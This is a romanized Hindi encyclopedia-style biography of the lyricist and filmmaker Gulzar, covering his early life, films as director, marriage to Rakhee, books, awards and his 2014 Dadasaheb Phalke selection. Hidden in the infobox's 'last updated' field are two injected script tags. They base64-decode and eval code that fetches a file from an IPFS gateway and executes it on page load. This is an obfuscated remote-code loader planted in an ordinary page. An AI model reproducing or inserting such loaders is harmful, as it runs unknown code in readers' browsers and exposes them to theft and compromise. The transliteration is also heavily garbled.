गुलज़ार
gulazar
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| poora nam | sampoorn sianh kalara |
| prasiddh nam | gulazar |
| any nam | gulazar sahab |
| janm | 18 agast, 1936 |
| janm bhoomi | dina gaanv, jhelam zila, (pakistan) |
| pati/patni | rakhi gulazar |
| santan | meghana gulazar |
| karm bhoomi | mumbee |
| karm-kshetr | gitakar, kavi, sahityakar, film nirdeshak |
| mukhy rachanaean | chauras rat (1962), janam (1963), ek booand chaand (1972) |
| mukhy filmean | mere apane (1971), aandhi (1975), koshish (1972), aangoor (1980), machis (1996) |
| puraskar-upadhi | aauskar, graimi puraskar, dada sahab phalke puraskar, tin bar rashtriy puraskar, padmabhooshan, iandira gaandhi rashtriy ekata puraskar |
| nagarikata | bharatiy |
| bhasha | hindi, urdoo tatha panjabi |
| adyatan | 13:45, 14 aprॅl 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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gulazar (aangrezi: Gulzar) vastavik nam sampoorn sianh kalara (janm- 18 agast, 1936) hindi filmoan ke ek prasiddh gitakar ke alava ye ek kavi, patakatha lekhak, film nirdeshak tatha natakakar haian. inaki rachanaean mukhyatah hindi, urdoo tatha panjabi mean haian. gulazar ko varsh 2002 mean sahity akadami puraskar aur varsh 2004 mean bharat sarakar dvara diya jane vala tisare sarvochch nagarik samman padm bhooshan se bhi sammanit kiya ja chuka hai. varsh 2009 mean daini b aauyal dvara nirdeshit film slamad aaug miliyaneyar mean unake dvara likhe git 'jay ho...' ke liye unhean sarvashreshth git ka aauskar puraskar bhi mil chuka hai. isi git ke liye gulazar ko graimi puraskar se bhi sammanit kiya ja chuka hai. varsh 2013 ke lie gulazar ko bharatiy sinema ke sarvochch samman dada sahab phalke puraskar ke lie chuna gaya.
jivan parichay
pashchimi panjab ke jhelam zile (jo ab pakistan mean hai) ke dina gaanv mean 18 agast 1936 ko janme sampoorn sianh kalara urph gulazar ne n sirph gitakar ke roop mean hi nahian balki lekhak, nirmata aur nirdeshak ke roop mean bhi b aaulivud mean apana vishesh yogadan diya hai. bachapan ke dinoan se hi sher-o-shayari ka shauq rakhane vale gulazar aantakshari ke karyakramoan mean bhi hissa lete the. unhean git sangit ke prati khasi roochi thi. vah ravi shankar aur ali akabar khan ke karyakram sunane ke lie jaya karate the. varsh 1947 mean hindustan vibhajan ke bad unaka parivar amritasar chala aya. isake bad apane sapanoan ko naya roop dene ke lie gulazar muanbee a ge lekin sapanoan ki nagari mean unhean kafi kathinaiyoan ka samana karana p़da. apane jivan yapan ke lie unhoanne motar gairaj mean ek maikenik ki naukari bhi ki.[1]
aanrabhik jivan
muanbee ane ke bad kavi ke roop mean gulazar 'pi.dabloo.e.' [2] se ju d ge. unhoanne apane sine kॅriyar ki shuruat varsh 1961 mean b aaulivud ke mahan nirdeshak bimal r aauy ke sahayak ke roop mean ki. gulazar ne rrishikesh mukharji aur hemant kumar ke sahayak ke taur par bhi kam kiya. bimal ray ne apane is sahayak nirdeshak ke bhitar ek aise kavi ko dekha jo roohani aur romani shabdoan se is tarah khelata tha jaise bachche khilaunoan se khelate haian. unhoanne gulazar ko sahayak nirdeshak ke roop mean kam dete hue apani klasik film 'bandini' ke lie git likhane ka kam diya. gitakar ke roop mean gulazar ne pahala gana 'mera gora aang leee le' varsh 1963 mean pradarshit film 'bandini' ke lie likha. jab tak bandini pradarshit huee usase pahale balaraj sahani ki film 'kabuli vala' ka pradarshan ho gaya. is film ke gitoan ko bhi gulazar ne hi likha tha. kabuli vala mean unaka likha gana 'ai mere pyare vatan, ai mere bichhade chaman, tujh pe dil kurban' aur 'ganga ae kahaan se, ganga jae kahaan se' ne unhean n sirph shrotaoan aur darshakoan ki nazar mean ubhar diya tha balki bandini ke gitakar ke roop mean darshakoan ne jab unaka nam suna to ummidean zyada badh geean aur gulazar shrotaoan ki ummidoan par n sirph khare utare balki unhoanne apane lie b aaulivud mean nam aur shoharat bhi paee.[1]
film nirdeshan
kabuli vala ke bad gulazar ne pichhe mu dakar nahian dekha. unhoanne ek se badhakar ek git likhakar jan-jan ke hriday ke tar jhanajhanae aur unhean bhav vibhor kar filmi git ganga ko samriddh kiya. gulazar ne varsh 1971 mean film 'mere apane' ke jarie nirdeshan ke kshetr mean bhi kadam rakha. apane samay ki 'trejadi kvin' ke nam se vikhyat mina kumari ke sath unhoanne vinod khanna aur shatrughn sinha ko is film mean pesh kiya tha. 'mere apane' film mina kumari ke damadar abhinay aur gulazar ki nirdeshakiy kshamata ki vajah se saphalata pane mean kamayab huee. gulazar ne apani filmoan mean anaginat abhinetriyoan ko behatarin kiradaroan mean pesh kiya. unhoanne suchitra sen ke sath 'aandhi', rekha ke sath 'ijazat', hema malini ke sath 'khushaboo', 'kinara', shabana ke sath 'devata', sharmila taigor ke sath 'mausam', 'namakin' jaisi avismaraniy filmean banaee. sanjiv kumar gulazar ke pasandida kalakar the. sanjiv kumar ko lekar unhoanne 'mausam', 'koshish', 'aandhi', 'namakin', 'aangoor', 'devata' jaisi avismaraniy filmean dian. aisa nahian ki unhoanne any nayakoan ke sath kam nahian kiya unhoanne apani shurooat vinod khanna se ki thi unake sath unhoanne samay-samay kuchh chunianda filmean- 'achanak', 'lekin' aur 'mira' jaisi filmean ki.[1]
pramukh filmean (bataur nirdeshak)
- mere apane (1971)
- parichay (1972)
- koshish (1972)
- achanak (1973)
- khushaboo (1974)
- aandhi (1975)
- mausam (1976)
- kinara (1977)
- kitab (1978)
- aangoor (1980)
- namakin (1981)
- mira (1981)
- ijajat (1986)
- lekin (1990)
- libas (1993)
- machis (1996)
- hu too too (1999)
- tivi siriyal
- mirza galib (1988)
- kiradar (1993) [3]
vivah
1973 mean gulazar ka sanjog kuchh aisa bana ki unhoanne film abhinetri rakhi se shadi kar li. rakhi aur gulazar ki shadi mean gulazar ne sirph ek shart rakhi ki rakhi shadi ke bad filmoan mean kam nahian kareangi. rakhi ne gulazar ka kaha mana aur kam band kar diya. isake bavajood in donoan ki kabhi nahian bani aur tin sal bad rakhi apani beti meghana ko lekar gulazar se alag ho geean aur unhoanne phir se filmoan mean kam karana shuroo kar diya. gulazar se shadi se poorv 15 varsh ki umr mean rakhi ki shadi ajay vishvas ke sath huee thi. vah mumbee ke filmalay mean kam karate the. sas ne rakhi ko pati ke pas rahane ke lie mumbee bhijava diya. rakhi ko ajay ka sath jara bhi nahian jama. ek din ajay ne rakhi ko ghar se nikal diya. rakhi ko aj bhi is bat ka gam hai ki gulazar ne kabhi usaki abhinay kshamata ko pahachanane ki koshish hi nahian ki. gulazar se rakhi ko ek beti meghana huee, aj vah bhi b aaulivud mean bataur nirdeshak aur lekhak ke roop mean apani pahachan rakhati hai.[1]
mina kumari aur gulazar
mina kumari aur gulazar ke rishte bhavanaoan se bhare hue rahe haian. mina ne maut se pahale apani tamam dayari aur shayari ki kapiyaan gulazar ko sauanp di thian. gulazar ne unhean sanpadit kar bad mean prakashit bhi karaya tha. mina-gulazar ki bheant film ‘benazir’ ke set par huee thi. bimal ray nirdeshak the aur gulazar sahayak the. sh aaut redi hone par star ko kaimare tak lane ki jimmedari unaki thi. yahian se dosti mean apanapan panapata chala gaya. bad mean gulazar jab svatantr film nirdeshak bane to film ‘mere apane’ ki mukhy bhoomika gulazar ne mina ko sauanpi. 1972 mean mina chal basian. ‘mere apane’ kuchh samay bad pradarshit huee aur gulazar svatantr film nirdeshak ban ge. aj bhi gulazar ke aauphis mean divar par trejedi kvin mina kumari ka chitr bolata-sa najar ata hai.[3]
sahity lekhan
[[chitr:Indira Gandhi Award for National Integration-2012.jpg|300px|thumb|pradhanamantri d aau. manamohan sianh evan soniya gaandhi se iandira gaandhi rashtriy ekata puraskar se sammanit hue]] gulazar dvara likhit kuchh pustakean nimn haian
- chauras rat (laghu kathaean, 1962)
- janam (kavita sangrah, 1963)
- ek booand chaand (kavitaean, 1972)
- ravi par (katha sangrah, 1997)
- rat, chaand aur maian (2002)
- rat pashmine ki
- kharashean (2003) [3]
samman aur puraskar
gulazar ko tin bar 'rashtriy puraskar' se bhi navaja ja chuka hai. inamean varsh 1972 mean 'koshish' film ke lie sarvashreshth skrinaple ka puraskar, varsh 1975 mean 'mausam' film ke lie sarvashreshth nirdeshak aur varsh 1987 mean 'ijazat' film ke lie sarvashreshth gitakar ka puraskar shamil hai. gulazar ke chamakadar kairiyar mean ek gauravapoorn naya adhyay tab ju d gaya jab varsh 2009 mean film 'slamad aaug miliyaneyar' mean unake git 'jay ho' ko aauskar puraskar se sammanit kiya gaya. bharatiy sinema mean unake yogadan ko dekhate hue varsh 2004 mean unhean desh ke tisare b de nagarik samman padmabhooshan se bhi sammanit kiya gaya.[1]isake atirikt gulazar ko varsh 2002 mean 'sahity akadami puraskar' bhi mil chuka hai.
samachar
dada sahab phalke puraskar ke lie chune ge gulazar
- 12 aprॅl, 2014 shanivar
qarib char dashakoan se bharatiy sine premiyoan ko apane gitoan ka divana banane vale mashahoor gitakar gulazar ko varsh 2013 ke lie dada sahab phalke puraskar diya gaya hai. soochana aur prasaran mantralay ki or se jari bayan ke anusar pratishthit kalakaroan ki sat sadasyiy jyoori ne ekamat se is puraskar ke lie gulazar ke nam ki sipharish ki. filmi hastiyoan ko pradan kiye jane vale pratishthit dada sahab phalke puraskar ke lie chune jane par gitakar gulazar ne kaha ki vah sammanit mahasoos kar rahe haian aur sanpoornata ki anubhooti ho rahi hai. ‘tujhase naraz nahian ziandagi’ aur ‘tere bina ziandagi se’ jaise anek lokapriy git likhane vale aur ‘mere apane’, ‘koshish’, ‘khushaboo’, ‘aangoor’, ‘libas’ aur ‘machis’ jaisi philmoan ka nirdeshan kar chuke 79 varshiy gulajar yah samman pane vale 45vian shakhsiyat haian.
samachar ko vibhinn srotoan par padhean
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 gulazar janm divas par: dil dhooandhata hai phir vahi phursat ke rat din. . (hindi) (ech.ti.em.el) khas khabar. abhigaman tithi: 24 sitambar, 2012.
- ↑ progresiv rayartas esosieshan
- ↑ 3.0 3.1 3.2 hajar cheharoan vale gulazar (hindi) (ech.ti.em.el) veb duniya hindi. abhigaman tithi: 24 sitambar, 2012.
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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